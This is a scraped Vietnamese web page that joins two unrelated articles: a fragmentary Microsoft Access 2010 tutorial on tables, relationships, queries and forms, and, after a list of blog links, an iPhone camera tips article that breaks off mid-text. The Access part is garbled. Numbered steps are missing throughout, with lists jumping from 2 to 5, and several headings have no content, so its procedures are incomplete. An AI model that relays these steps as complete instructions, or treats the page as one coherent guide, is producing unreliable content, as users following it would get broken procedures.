    1. Nháy nút lệnh Save trên Quick Access Toolbar
    2. Nhập tên bảng vào hộp thoại Save As
    3. Nháy OK

    Nếu bạn chưa chỉ định khóa chính, Access sẽ hiển thị một thông báo nhắc nhở, và nếu bạn đồng ý, Access sẽ tự động tạo ra trường ID kiểu AutoNumber để làm khóa chính cho bảng của bạn.

    2.7. Thay đổi chế độ làm việc của bảng:

    2.8. Tạo cấu trúc bảng trong chế độ trang dữ liệu:

    1. Mở hoặc tạo mới tập tin CSDL
    2. Mặc định Access tạo sẵn trường ID kiểu AutoNumber dùng làm khóa chính. Bạn có thể đổi tên của trường này bằng cách nháy chuột phải vào tên trường, chọnRename Field.
    3. Thiết lập các tính chất của trường bằng cách sử dụng các lệnh trong các nhómProperties, Formatting Field Validation trên thẻ Table Tools Fields
    4. Nháy Validation trong nhóm Field Validation trên thẻ Table Tools Fields cho phép bạn thiết lập các điều kiện ràng buộc cho trường (Field Validation Rule) và điều kiện ràng buộc giữa các trường trong một bản ghi (Record Validation Rule)
    5. Thiết lập các thuộc tính bảng bằng cách chọn thẻ Table Tools Table, nháy Table Properties

    2.9. Đóng bảng:

    3. THAY ĐỔI CẤU TRÚC BẢNG:

    3.1. Thay đổi cấu trúc bảng trong chế độ thiết kế:

    Nhóm Để thực hiện các thao tác trong mục này, bạn nhày chuột phải vào bảng trên

    Tools trong thẻ Table Tools Design cung cấp các lệnh để thay đổi cấu trúc bảng. Navigation Pane, chọn Design View để mở bảng trong chế độ thiết kế.

      Nháy vào ô màu xám ngay bên trái tên trường để chọn một trường
      Thay đổi tên, kiểu dữ liệu, mô tả, các tính chất của trường:

    3.2. Thay đổi cấu trúc bảng trong chế độ trang dữ liệu:

    Nhóm Add & Delete trên thẻ Table Tools Fields cung cấp các lệnh để thay đổi cấu trúc bảng.

    Để thực hiện các thao tác trong mục này, bạn nháy đúp vào bảng trên Navigation Pane để mở bảng trong chế độ trang dữ liệu.

    1. Nháy vào ô bất kỳ thuộc trường tại vị trí cần chèn
    2. Nháy vào một kiểu dữ liệu hoặc chọn từ danh sách More Fields trong nhóm Add & Delete trên thẻ Table Tools Fields

    4. ĐỔI TÊN VÀ XÓA BẢNG:

    Bạn chỉ có thể đổi tên hoặc xóa bảng sau khi đã đóng bảng.

    4.1. Đổi tên bảng:

    Để hạn chế sự dư thừa dữ liệu, thay vì lưu trữ tất cả thông tin trong cùng một bảng, ta chia ra lưu trữ trong nhiều bảng. Khi cần tổng hợp dữ liệu từ nhiều bảng, ta liên kết các bảng lại với nhau.

    Tạo liên kết giữa các bảng/mẫu hỏi trong tập tin CSDL Access còn mang lại những lợi ích sau:

    • Cho phép tổng hợp dữ liệu từ nhiều bảng/mẫu hỏi.
    • Đảm bảo tính nhất quán của dữ liệu. Khi hai bảng được liên kết với nhau, nếu bạn xóa hay điều chỉnh một bản ghi trong một bảng thì các bản ghi tương ứng trong bảng liên kết sẽ tự động bị xóa hoặc điều chỉnh theo.

    2. TẠO LIÊN KẾT GIỮA CÁC BẢNG:

    Để có thể tạo liên kết giữa hai bảng, giữa hai bảng phải có một trường “giống nhau” theo nghĩa hai trường này phải chứa dữ liệu giống nhau, mặc dù tên trường có thể khác nhau.

    Thực hiện tạo liên kết giữa hai bảng như sau:

    1. Mở tập tin CSDL có chứa các bảng/mẫu hỏi cần liên kết

      Nếu là lần đầu tiên tạo liên kết cho các bảng trong tập tin, hộp thoại Show Table sẽ tự động xuất hiện, ngược lại bạn sẽ không thấy hộp thoại Show Table.

    3. Chọn các bảng/mẫu hỏi trên hộp thoại Show Table mà bạn muốn tạo liên kết.

      Để chọn một bảng/mẫu hỏi, bạn chọn bảng/mẫu hỏi sau đó nháy nút Add.
      Để chọn nhiều bảng/mẫu hỏi cùng lúc, bạn dùng kết hợp phím Shift hoặc Ctrl.
      Chọn xong nháy nút Close để đóng hộp thoại.

    4. Kéo thả chuột giữa hai bảng/mẫu hỏi để tạo liên kết.

    Khi thả chuột, hộp thoại Edit Relationships xuất hiện. Bạn thực hiện các công việc sau đây trên hộp thoại:

      Kiểm tra hai trường dùng để liên kết hai bảng/mẫu hỏi có chính xác không.
      Đánh dấu các mục Enforce Referential Integrity, Cascade Update Related Fields, Cascade Delete Related Records để buộc Access kiểm tra tính nhất quán của dữ liệu khi sửa hoặc xóa.
      Nháy nút Create để tạo liên kết.

    5. Chỉnh sửa liên kết:

    Nháy chuột phải vào đường liên kết sau đó chọn:

      Edit Relationships: chỉnh sửa liên kết. Hộp thoại Edit Relationships sẽ xuất hiện trở lại.

    6. Lưu và đóng cửa sổ liên kết:

      Nháy lệnh Save trên Quick Access Toolbar để lưu.

    BÀI 4: CÁC THAO TÁC CƠ BẢN TRÊN BẢNG

    Để thực hiện các thao tác trong bài này, bạn phải mở bảng trong chế độ trang dữ liệu.

    1. CẬP NHẬT DỮ LIỆU:

    Cập nhật dữ liệu là các thao tác thêm, sửa, xóa bản ghi của bảng.

    1.1. Thêm bản ghi:

    1. Nháy vào ô trống đầu tiên của dòng trống đầu tiên trong bảng

    2. Nhập dữ liệu vào các ô của bản ghi mới, từ trái sang phải

      Nếu việc di chuyển đến dòng trống đầu tiên trong bảng gặp khó khăn do có nhiều bản ghi đã được nhập vào bảng, bạn có thể bắt đầu thêm bản ghi mới bằng cách nháy lệnh New trong nhóm Records trên thẻ Home hoặc ấn tổ hợp phím Ctrl + +
      Khi bắt gặp trường AutoNumber, bạn không cần nhập bất cứ dữ liệu gì mà chỉ cần ấn Enter để chuyển qua trường kế tiếp.

    1.2. Sửa bản ghi:

    1. Nháy vào ô chứa dữ liệu cần sửa

    2. Thực hiện chỉnh sửa như soạn thảo văn bản

    1.3. Xóa bản ghi:

    1. Nháy vào ô màu xám ngay bên trái để chọn bản ghi.

    2. Nháy chuột phải chọn Delete Record hoặc ấn phím Delete

    3. Xác nhận

      Bạn có thể chọn nhiều bản ghi liên tiếp nhau để xóa cùng lúc bằng cách kết hợp với phím Shift. Bạn cũng có thể ra lệnh xóa bằng cách nháy mũi tên cạnh nút Delete trong nhóm Records trên thẻ Home, sau đó chọn Delete Record

    2. SẮP XẾP CÁC BẢN GHI:

    2.1. Sắp xếp theo một trường:

    2.2. Sắp xếp theo nhiều trường:

    1. Nháy mũi tên cạnh tên trường để mở bảng chọn tắt

    2. Nháy chọn Sort A to Z hoặc Sort Z to A

    3. Lặp lại đối với trường thứ hai, thứ ba, …

    4. Nháy Remove Sort trong nhóm Sort & Filter để hủy sắp xếp

    2.3. Sắp xếp nâng cao:

    3. LỌC DỮ LIỆU:

    Lọc dữ liệu là chỉ cho phép hiển thị những bản ghi thỏa mãn điều kiện lọc, các bản ghi khác không bị xóa mà chỉ tạm thời bị ẩn đi.

    3.1. Lọc theo ô dữ liệu đang chọn:

    1. Chọn một ô hoặc một phần giá trị trong ô

    2. Nháy Selection trong nhóm Sort & Filter để mở bảng chọn

    3. Nháy chọn điều kiện lọc. Access ngay lập tức hiển thị kết quả lọc

    3.2. Lọc theo mẫu:

    3.3. Lọc nâng cao:

    4. TÌM KIẾM BẢN GHI:

  • Sắp xếp các bản ghi
  • Chọn các trường để hiển thị
  • Tổng hợp và hiển thị dữ liệu từ nhiều bảng
  • Chọn các bản ghi thỏa mãn các điều kiện cho trước
  • Thực hiện tính toán như tính trung bình cộng, tính tổng, đếm bản ghi, …
  • 2. MẪU HỎI: (QUERY)

    • Access cung cấp tiện ích Query Designer cho phép thiết kế các mẫu hỏi để truy vấn dữ liệu.
    • Access dựa vào những nội dung được khai báo trong mẫu hỏi để xây dựng câu lệnh SQL cho phép người dùng truy vấn dữ liệu.
    • Người dùng truy vấn dữ liệu bằng cách cho thực hiện/chạy mẫu hỏi đã thiết kế.
    • Kết quả truy vấn sẽ được hiển thị dưới dạng bảng tương tự như một bảng dữ liệu.

    3. CÁC CHẾ ĐỘ LÀM VIỆC CHÍNH VỚI MẪU HỎI:

      Chế độ thiết kế (Design View): cho phép thiết kế và chỉnh sửa thiết kế mẫu hỏi

      Chế độ trang dữ liệu (Datasheet View): hiển thị kết quả truy vấn dữ liệu

      Chế độ SQL (SQL View): hiển thị câu lệnh SQL tương ứng với mẫu hỏi đã thiết kế

    4. CÁC KIỂU MẪU HỎI: (QUERY TYPE)

    Microsoft Access 2010 cho phép tạo ra các kiểu mẫu hỏi sau đây:

    • Mẫu hỏi lựa chọn (Select Query)
    • Mẫu hỏi tạo bảng (Make-Table Query)
    • Mẫu hỏi thêm bản ghi (Append Query)
    • Mẫu hỏi sửa bản ghi (Update Query)
    • Mẫu hỏi xóa bản ghi (Delete Query)
    • Mẫu hỏi chéo (Crosstab Query)

    5. TẠO SELECT QUERY TRONG CHẾ ĐỘ THIẾT KẾ:

    3. Chọn các bảng/mẫu hỏi chứa dữ liệu cần truy vấn từ hộp thoại Show Table

    Các bảng/mẫu hỏi được chọn sẽ được hiển thị ở phần phía trên của cửa sổ Query dưới dạng các danh sách trường (Field List). Muốn mở lại hộp thoại Show Table để chọn thêm bảng/mẫu hỏi, bạn nháy nút lệnh Show Table trong nhóm Query Setup. Muốn gở bỏ bớt các Field List khỏi mẫu hỏi, bạn nháy chuột phải vào tên Field List, chọn Remove Table.

    4. Thiết kế mẫu hỏi dựa trên lưới thiết kế (Design Grid) bao gồm:

    • Field: khai báo các trường muốn hiển thị
    • Table: xác định bảng/mẫu hỏi chứa trường tương ứng trên dòng Field
    • Sort: lựa chọn các trường dùng làm tiêu chuẩn để sắp xếp
    • Show: lựa chọn các trường muốn hiển thị trong kết quả truy vấn
    • Criteria: xác định các biểu thức dùng làm điều kiện lọc dữ liệu

    5. Thực hiện mẫu hỏi:

    6. TẠO TRƯỜNG MỚI TRÊN MẪU HỎI:

      Các trường hiển thị trong kết quả truy vấn có thể là các trường có sẵn trên các bảng/mẫu hỏi hoặc là các trường hoàn toàn mới được tạo ra theo thiết kế của người dùng.
      Để tạo một trường mới, bạn chọn một ô trên dòng Field, nhập vào khai báo trường có dạng:

      Để thuận tiện cho việc quan sát khi khai báo trường, bạn có thể phóng to ô trong cửa sổ Zoom bằng cách ấn Shift + F2.
      Phần tên trường là tùy chọn. Nếu không có phần tên trường, Access sẽ cho hiển thị tên trường trong kết quả truy vấn dưới dạng ExprN
      Biểu thức được tạo thành từ các trường trong các bảng/mẫu hỏi đã chọn kết hợp với các phép toán và các hàm.

    Between 10 And 20

    In (“CA”, “NC”, “TN”)

    Like “?*”

        IIf(Expr, TruePart, FalsePart): trả về giá trị TruePart nếu biểu thức Expr đúng, ngược lại trả về giá trị FalsePart.
        Switch(Expr1, Value1, ): Trả về giá trị ứng với biểu thức đầu tiên đúng.

    7. TÍNH TOÁN THỐNG KÊ THEO NHÓM:

    Muốn thiết kế một Select Query để thực hiện các tính toán thống kê, bạn thực hiện các bước sau:

    Trên lưới thiết kế sẽ xuất hiện thêm dòng Total.

    4. Chọn các trường hoặc tạo thêm các trường mới.

    • Với những trường được dùng để phân nhóm, trên dòng Total chọn Group By
    • Với những trường cần thực hiện các tính toán thống kê, trên dòng Total chọn một trong các hàm thống kê sau đây:
    • Với những trường cần lập các biểu thức để thực hiện các tính toán thống kê, trên dòng Total chọn Expssion
    • Với những trường chỉ dùng để lọc dữ liệu, trên dòng Total chọn Where

    5. Nháy nút lệnh Run hoặc chuyển sang Datasheet View để thực hiện mẫu hỏi

    8. TẠO BẢNG BẰNG MAKE TABLE QUERY:

    Make Table Query cho phép tạo một bảng mới khi cho thực hiện mẫu hỏi. Thông thường, dữ liệu của bảng mới là kết quả truy vấn của một Select Query.

    1. Tạo Select Query trong chế độ thiết kế

    2. Thực hiện Select Query để đảm bảo kết quả truy vấn đúng như mong đợi

    5. Đặt tên cho bảng muốn tạo và lựa chọn CSDL từ hộp thoại Make Table

    9. THÊM BẢN GHI BẰNG APPEND QUERY:

    Append Query cho phép thêm các bản ghi từ kết quả truy vấn của một Select Query vào một bảng hiện có.

    1. Tạo Select Query trong chế độ thiết kế

    2. Thực hiện Select Query để đảm bảo kết quả truy vấn đúng như mong đợi

    5. Chọn bảng muốn thêm bản ghi từ hộp thoại Append

    6. Thực hiện mẫu hỏi để thêm các bản ghi vào bảng.

    10. THAY ĐỔI CÁC BẢN GHI BẰNG UPDATE QUERY:

    Update Query cho phép thay đổi nội dung các bản ghi từ các bảng hiện có.

    2. Chọn các bảng cần sử dụng từ hộp thoại Show Table

    3. Chọn các trường cần thay đổi dữ liệu

    4. Nháy nút lệnh Update trong nhóm Query Type

    Trên lưới thiết kế xuất hiện thêm dòng Update To và ẩn đi dòng Show

    5. Nhập vào giá trị hoặc biểu thức cho trường cần thay đổi trên dòng Update To

    6. Thực hiện mẫu hỏi để thực hiện thay đổi

    11. XÓA CÁC BẢN GHI BẰNG DELETE QUERY:

    Delete Query cho phép xóa các bản ghi từ các bảng hiện có.

    2. Chọn các bảng cần sử dụng từ hộp thoại Show Table

    3. Nháy nút lệnh Delete trong nhóm Query Type

    Trên lưới thiết kế xuất hiện thêm dòng Delete và ẩn đi dòng Show

    5. Chọn/Tạo các trường dùng để lọc dữ liệu, nhập điều kiện lọc

    (Trên dòng Delete xuất hiện từ khóa Where)

    6. Thực hiện mẫu hỏi để xóa các bản ghi

    12. TÍNH TOÁN THỐNG KÊ VỚI CROSSTABLE QUERY:

    Crosstab Query là dạng đặc biệt của Select Query, cho phép phân nhóm theo hai tập dữ liệu.

    Muốn thiết kế một Crosstab Query, bạn thực hiện các bước sau:

    2. Chọn các bảng cần sử dụng từ hộp thoại Show Table

    BÀI 6: BIỂU MẪU

    1. KHÁI NIỆM:

    • Biểu mẫu (Form) là một đối tượng cơ sở dữ liệu có thể dùng để cập nhật hoặc hiển thị dữ liệu từ các bảng hoặc mẫu hỏi.
    • Đối với người dùng cuối, biểu mẫu hiển thị trên màn hình dưới dạng cửa sổ cho phép người dùng tương tác với dữ liệu được lưu trữ trong cơ sở dữ liệu.
    • Biểu mẫu cho phép kiểm soát sự truy cập dữ liệu bằng cách chỉ cho hiển thị các trường và bản ghi cần thiết với người dùng.

    2. CÁC CHẾ ĐỘ LÀM VIỆC VỚI BIỂU MẪU:

    • Form View: hiển thị dữ liệu trên biểu mẫu cho phép xem, sắp xếp, tìm kiếm, lọc dữ liệu và cũng có thể cho phép cập nhật dữ liệu. Chế độ làm việc này không cho phép chỉnh sử thiết kế của biểu mẫu.
    • Layout View: hiển thị dữ liệu trên biểu mẫu trong khi vẫn cho phép chỉnh sửa thiết kế của biểu mẫu như di chuyển hay thay đổi kích thước của các điều khiển (control) cho phù hợp với dữ liệu.
    • Design View: cho phép thiết kế và chỉnh sửa thiết kể của biểu mẫu. Không hiển thị dữ liệu trên biểu mẫu.

    3. TẠO BIỂU MẪU:

    Biểu mẫu có thể được tạo bằng cách sử dụng các nút lệnh trong nhóm Forms thuộc thẻ CREATE.

    3.1. Tạo biểu mẫu bằng nút lệnh Form:

    Access sẽ tạo biểu mẫu bao gồm tất cả các trường của dữ liệu nguồn và mở biểu mẫu ở chế độ Layout View.

    3.2. Tạo biểu mẫu bằng thuật sĩ (wizard):

    3. Chọn kiểu bố trí (Layout) các trường trên biểu mẫu, nháy Next

    4. Nhập tên cho biểu mẫu (hoặc chấp nhận tên mặc định), sau đó chọn mở biểu mẫu để xem và

    cập nhật dữ liệu (Open the form to view or enter information) hay để chỉnh sửa thiết kế (Modify

    the form’s design), nháy Finish.

    --- Bài cũ hơn ---

  • Hướng Dẫn Thực Hành Access 2003
  • Tổng Quan Về Microsoft Office Access 2003
  • 10 Thủ Thuật Bảo Mật Cơ Sở Dữ Liệu Access
  • Một Số Mẹo Hay Trong Autocad
  • Top Thủ Thuật Autocad, Tài Liệu Tự Học Cad Full
  • Thủ Thuật Chụp Ảnh Đẹp Bằng Iphone (11 Thủ Thuật)

    --- Bài mới hơn ---

  • Chọc Dò Dịch Màng Phổi: Ý Nghĩa Lâm Sàng Kết Quả Thủ Thuật
  • Quy Trình Kỹ Thuật Chọc Hút Dịch Màng Phổi
  • Các Bước Thực Hiện Chọc Dịch Màng Phổi Cấp Cứu
  • Tổng Hợp 10 Thủ Thuật Và Mẹo Pubg Mobile Hay Không Thể Bỏ Qua
  • 20 Mẹo Và Thủ Thuật Cực Hay Trên Google Chrome (Android) Bạn Nên Biết
  • Bạn đang sở hữu chiếc iPhone và thích chụp hình thì bài viết này bạn không thể bỏ qua. Trong bài viết này, bạn sẽ hiểu rõ hơn các tính năng chụp hình trên chiếc iPhone, giúp cải thiện thêm các kỹ thuật chụp hình trên chiếc dế yêu của bạn.

    Việc chụp được các hình ảnh đẹp ngoài yếu tố nghệ thuật, hiểu kỹ thuật chụp hình là yếu tố quan trọng làm nên những tấm hình đẹp.

    Bạn sẽ biết cách sử dụng nhiều chức năng được trang bị sẵn trên camera của iPhone, giờ thì mời bạn tìm hiểu tính năng mở nhanh camera khi chụp ảnh, trước đi tiếp các thủ thuật hay ở phần sau.

    Nào chúng ta bắt đầu!

    1. Cách mở nhanh Camera để chụp ảnh

    Có bao giờ bạn bỏ lỡ các ảnh đẹp vì loay hoay một lúc mới mở được camera để chụp? Nếu có thì từ nay trở đi sẽ không còn gặp phải tình huống này nữa.

    Mình sẽ chỉ cho bạn 4 cách mở nhanh camera chụp ảnh trong một nốt nhạc.

    Cách #1:

    Đầu tiên, hãy chạm vào màn hình iPhone X, XS MAX, XR (hoặc nhấn nút home đối với iPhone 8 trở về trước), sau đó, trượt ngón tay từ phải qua trái trên màn hình iPhone, tức thì camera sẽ được mở. Bạn có thể chụp hình được ngay. Thật là nhanh phải không nào.

    Cách #2:

    Đối với các loại iPhone X, XS, XS MAX, XR, bạn chỉ cần chạm 3D touch (Chạm mạnh) lên biểu tượng camera trên màn hình khóa để mở nhanh camera.

    Cách #3:

    Nếu trong trường hợp iPhone đã mở khóa, đang trong màn hình chính, chỉ cần chạm nhẹ vào biểu tượng camera là mở ngay camera để chụp ảnh.

    Cách #4:

    Bạn cũng có thể mở camera bằng cách vào trung tâm điều khiển (Control Center). Bằng cách trượt ngón tay từ góc trên bên phải màn hình xuống dưới (đối với iPhone 8 trở về trước thì trượt ngón tay từ cạnh dưới màn hình lên trên giữa màn hình iPhone), sau đó chạm vào biểu tượng camera.

    Với cách này mở được camera ngay cả khi iPhone đang bị khoá.

    Như vậy, có tới 4 cách để mở ứng dụng camera, kể cả khi iPhone chưa được mở khóa. Bạn hãy chọn cách phù hợp nhất để mở, từ nay về sau không còn bỏ lỡ những ảnh đẹp cần chụp nữa.

    Tiếp theo, cùng tìm hiểu các chức năng của Camera để có thể chụp được những tấm hình đẹp lung linh.

    2. Bật chức năng hiển thị lưới để cải thiện ảnh chụp trên iPhone

    Ứng dụng Camera cho phép hiển thị lưới trên màn hình camera gồm 2 đường ngang và 2 đường dọc như hình bên dưới.

    Đóng Settings, mở ứng dụng Camera lên lại, sẽ thấy lưới xuất hiện.

    Khi chụp ảnh từ trên xuống dưới, trên màn hình camera sẽ xuất hiện một cặp dấu cộng có màu trắng và màu vàng ở giữa màn hình, như hình trên. Nhiệm vụ của chúng ta là canh chỉnh iPhone sao cho 2 dấu cộng này trùng khớp nhau thành 1 dấu cộng, có màu vàng, thì ảnh chụp sẽ được cân chỉnh đúng trung tâm, làm cho ảnh cân đối và đẹp hơn.

    3. Chọn đúng chế độ chụp

    Ứng dụng Camera trên iPhone có nhiều chế độ chụp ảnh và quay video, chọn đúng chế độ chụp giúp cho ảnh phù hợp hơn, đẹp hơn.

    • Photo: chụp ảnh hình chữ nhật.
    • Square: chụp ảnh hình vuông.
    • Pano: Chụp ảnh có góc rộng, thường chụp phong cảnh, ngoại cảnh thành phố…, Khi chụp ở chế độ này, cần phải để iPhone theo chiều dọc, sau đó di chuyển iPhone theo mũi tên trắng trên đường thẳng màu vàng nằm ngang trên màn hình camera, cho đến khi hết cảnh cần lấy.
    • Video: Quay lại đoạn video trên iPhone. Ghi lại Khoảnh khắc vui nhộn và ý nghĩa bên bạn bè, người thân, là các đoạn clip ngắn để ghép thành phim hoặc chia sẻ trên mạng xã hội.
    • Slo-Mo: Là quay video nhưng với tốc độ chậm.
    • Time-Lapse: Là quay video nhưng với tốt độ nhanh. ví dụ như quay mây bay, những ngọn nến lung linh…
    • Portrait: Chế độ chụp ảnh cho phép làm mờ phông nền. Đây là chế độ chỉ có trên iPhone X, XS, iPhone XS Max, iPhone XR, iPhone X, iPhone 8 Plus, và iPhone 7 Plus.

    4. Sử dụng chế độ Portrait xoá phông nền để cho ảnh đẹp hơn

    Sử dụng chế độ Portrait giúp cho bức ảnh chụp trông chuyên nghiệp hơn, đối tượng cần chụp sắc nét với hậu cảnh phía sau được làm mờ một cách tinh tế. Trước đây tính năng này chỉ có trên các loại máy chụp hình chuyên nghiệp DSLR. Nay nó đã xuất hiện trên iPhone.

    Để chụp ảnh Portrait, hãy chuyển chế độ chụp ảnh trên iPhone sang Portrait.

    Để máy iPhone cách đối tượng cần chụp khoảng 0.5m – 2m. Đủ ánh sáng giúp bức ảnh được đẹp hơn.

    Khi chế độ Portrait đã sẵn sàng, dòng chữ Natural Light nền vàng bên dưới màn hình Camera (Trên iPhone 7 Plus sẽ xuất hiện dòng chữ Depth Effect) sẽ xuất hiện.

    Khi sẵn sàng, hãy chạm vào nút tròn bên dưới màn hình để chụp, cũng có thể nhấn nút volume tăng để chụp.

    4.1 Chỉnh sửa độ sâu và độ mờ phông nền

    Khi đã chụp xong ảnh với chế độ Portrait, đặc biệt khi sử dụng iPhone X, XS, XS Max, và XR, iPhone cho phép thay đổi độ sâu và độ mờ phông nền.

    Đầu tiên, mở ảnh vừa chụp với ứng dung Photos, sau đó chạm vào Edit.

    Sau khi chạm Edit, hãy thay đổi độ mờ của phông nền bằng cách trượt qua lại thanh Depth ở phía dưới bức ảnh.

    Sau khi vừa ý hãy chạm Done để hoàn tất.

    4.2 Thay đổi hiệu ứng ánh sáng cho ảnh chụp Portrait

    Ảnh chụp ở chế độ Portrait cho phép thay đổi hiệu ứng ánh sáng, làm cho ảnh trông chuyên nghiệp hơn. Có thể thay đổi hiệu ứng ánh sáng trong khi chụp hoặc sau khi chụp, ở đây có nhiều hiệu ứng ánh sáng để điều chỉnh, cho bức ảnh ưng ý hơn.

    Để điều chỉnh hiệu ứng ánh sáng, hãy mở ảnh và chạm vào Edit.

    Mặc định sẽ là hiệu ứng Natural Light, có nghĩa là ảnh chưa áp dụng hiệu ứng ánh sáng nào, h ãy trượt các icon để có hiệu ứng mong muốn.

    • Studio Light (Ở trên bên trái): Làm sáng bề mặt của đối tượng,
    • Contour Light (Ở trên bên phải): Làm tối bề mặt của đối tượng.
    • Stage Light (Bên dưới bên trái): Làm cho hình nền màu đen
    • Stage Light Mono (Bên dưới bên phải): Cho bức ảnh đen trắng.

    Sau khi chỉnh sửa nếu thấy phù hợp, hãy chạm Done để hoàn thành, hoặc chạm Portrait ở phía trên bức ảnh để loại bỏ các hiệu ứng, sau đó chạm Done để kết thúc chỉnh sửa.

    5. Chọn điểm lấy nét trên iPhone

    Một trong những thủ thuật khá hay trên iPhone để có bức ảnh đẹp là chức năng chọn vùng lấy nét.

    Nếu bạn không tự tay điều chỉnh lấy nét thì ứng dụng chụp hình trên iPhone sẽ làm điều đó.

    Tuy nhiên, đôi lúc nó chọn vùng cần lấy nét không như mong muốn, làm cho bức ảnh không được đẹp.

    Vậy thì tốt nhất hãy tự tay làm việc này, để cho bức ảnh lung linh theo ý của bạn.

    Việc lấy nét cho ảnh cần chụp rất dễ dàng, muốn vùng nào cần lấy nét thì chạm ngón tay vào vùng đó, một hình vuông màu vàng sẽ xuất hiện, xác định vùng đang lấy nét. Nếu không vừa ý vùng đó, thì chạm vùng khác để lấy nét, cho đến khi như mong muốn.

    Việc lấy nét đặc biệt quan trọng khi chụp những đối tượng gần Camera, làm cho bức ảnh có chiều sâu và rõ nét hơn.

    6. Điều chỉnh độ phơi sáng (mức ánh sáng) khi chụp ảnh

    Khi chụp ảnh trong điều kiện ánh sáng quá sáng hoặc quá tối, ứng dụng camera trên iPhone đã có chức năng cân bằng ánh sáng (độ phơi sáng).

    Với vài thao tác đơn giản, có thể điều chỉnh được ánh sáng cho bức ảnh trước khi chụp.

    Khi chạm trên ảnh để lấy nét, ứng dụng camera sẽ tự động cân bằng ánh sáng cho bức ảnh, dựa vào ánh sáng xung quanh vùng lấy nét.

    Nếu bạn vẫn thấy không vừa ý với ánh sáng do camera tự động điều chỉnh, bạn có thể trượt ngón tay trên màn hình lên hoặc xuống để điều chỉnh ánh sáng cho phù hợp.

    7. Khoá độ nét và phơi sáng AE/AF khi chụp ảnh trên iPhone

    Khi đã điều chỉnh độ nét và độ phơi sáng cho bức ảnh đúng theo ý muốn, bạn có thể sử dụng chức năng khoá AE/AF để khoá lại, sử dụng chụp cho các bức ảnh sau mà không cần điều chỉnh lại độ nét và độ phơi sáng nữa.

    • AE được viết tắt của cụm từ Auto Exposure, có nghĩa là điều chỉnh độ phơi sáng, đủ ánh sáng như mong muốn cho bức ảnh.
    • AF được viết tắt từ cụm từ Auto Focus, Độ nét của bức ảnh, cân chỉnh một vùng nào đó của bức ảnh, làm cho nó nét hơn.

    Để khoá AE/AF, hãy chạm vào vùng cần lấy độ nét và giữ khoảng vài giây, khi nào thấy chữ AE/AF LOCK xuất hiện trên nền màu vàng ở phía trên màn hình, tức là đã thực hiện khoá thành công.

    Khoá AE/AF sẽ được giữ nguyên trạng thái này ngay cả khi chụp xong bức ảnh, khóa chỉ được mở khi chạm lấy nét ở vùng khác trên màn hình.

    Sau khi khoá AE/AF, vẫn có thể điều chỉnh độ sáng của bức ảnh bằng cách trượt ngón tay lên xuống tại vị trí vừa lấy nét.

    Tại sao phải sử dụng chức năng khoá AE/AF, c ó 2 lý do thú vị như sau:

    • Thứ nhất, khi cần chụp nhiều đối tượng khác nhau tại một vị trí giống nhau.
    • Thứ hai, khi cần chụp ảnh tại vị trí mà xung quanh có quá nhiều thứ chuyển động qua lại, mỗi lần camera phát hiện có chuyển động qua đối tượng cần chụp, nó sẽ thay đổi độ nét và ánh sáng làm cho chúng ta mất thời gian điều chỉnh lại.

    8. Sử dụng chức năng HDR để cân bằng ánh sáng cho bức ảnh

    Có 2 vùng ánh sáng với độ sáng khác nhau, một thì sáng quá, một thì tối quá, chức năng HDR sẽ cân bằng lại ánh sáng làm cho bức ảnh hoàn hảo hơn, đẹp hơn

    Vậy HDR là gì?

    HDR viết tắt từ cụm từ High Dynamic Range, lấy nét và cân chỉnh ánh sáng tự động làm cho bức ảnh đẹp hơn. Hãy áp dụng chế độ chụp ảnh HDR cho các trường hợp sau:

    • Khi chụp ảnh phong cảnh bên dưới núi, bên trên là bầu trời hoặc các phong cảnh tương tự vậy, bên có ánh sáng nhiều, bên còn lại có ánh sáng ít.
    • Khi chụp ảnh thiếu sáng hoặc ngược sáng hãy sử dụng HDR, sẽ cho ảnh đẹp hơn.

    Không nên sử dụng HDR với các ảnh chuyển động hoặc ảnh có màu sắc sống động, vì nó có thể làm thay đổi màu sắc của ảnh.

    Trên iPhone, có thể sử dụng:

    • Chức năng Smart HDR, tự động cân bằng HDR để cho ảnh đẹp hơn. Tuy nhiên, trong một vài trường hợp chưa chắc sử dụng HDR sẽ cho ảnh đẹp hơn.
    • Do vậy, trên iPhone cũng có chức năng Keep Normal Photo, khi chụp ảnh nó sẽ tạo ra 2 ảnh, 1 ảnh là tự động cân chỉnh HDR và 1 ảnh chụp bình thường. Bạn thấy ảnh nào đẹp thì lấy và xoá đi ảnh còn lại.

    8.1 Cài đặt chức năng Smart HDR (Các iPhone 5 S,6,7,8 plus có thể là auto HDR)

    Smart HDR sẽ tự động cân chỉnh bức ảnh phù hợp giữa vùng ánh sáng tối và vùng ánh sáng quá sáng, giúp ảnh đẹp hơn. Các thiếp lập như sau:

    8.2 Cài đặt chức năng Keep Normal Photo

    Khi bật chức năng này lên, khi chụp ảnh nó sẽ tạo ra 2 bức ảnh, một bức ảnh đã cân chỉnh HDR và một bức không có cân chỉnh HDR. Các 2 cách thiết lập như sau:

    9. Chụp nhiều ảnh cùng lúc (Burst Mode)

    Trên iPhone có chế độ chụp ảnh chuyển động cực hay, đó là chế độ Burst. Cho phép bạn có thể chụp được 10 tấm ảnh trong 1 giây.

    Để chụp nhiều ảnh cùng lúc, khi chụp bạn hãy nhấn giữ nút chụp hình trên iPhone, từ ½ giây đến 1 giây để lấy trọn các khung hình trong khoảnh khắc ấy.

    Sau đó, hãy chọn ảnh phù hợp trong số nhiều ảnh đã chụp, còn lại xoá đi là xong.

    Để chọn bức ảnh tốt nhất thực hiện như sau: Mở ứng dụng Photos, chạm để mở ảnh vừa chụp ở chế độ burst, sau đó chọn Select ở phía dưới màn hình. Cuộn qua lại để chọn ảnh tốt nhất sau đó chạm Done. Sau đó chọn Keep Only 1 Favorite để giữ lại ảnh vừa chọn, còn lại xoá tất cả.

    Hãy chụp các ảnh ở chế độ Burst đối với các ảnh chuyển động như chụp ảnh em bé, chim, thú cưng, người đi trên phố, người lái xe đạp, thác nước…

    10. Chụp ảnh động (Live Photos) trên iPhone

    Live Photos là chế độ chụp ảnh vô cùng thú vị, nó mang thêm hương vị cuộc sống vào bức ảnh, thay vì bức ảnh tĩnh như thường thấy, với chế độ này bạn có thể chụp những bức ảnh chuyển động và có cả âm thanh trong đó nữa.

    Xem đầy đủ về: Ảnh động Live Photo trên iPhone: Hướng dẫn toàn tập về ảnh chuyển động

    Ảnh động (Live Photo) ghi nhận lại khoảnh khắc 1,5 giây trước và 1,5 giây sau khi chụp tấm ảnh. Kết quả là đoạn video ngắn 3 giây, bao gồm đối tượng chuyển động và âm thanh.

    Chế độ chụp ảnh động live photo chỉ có trên iPhone 6s/6s Plus hoặc mới hơn.

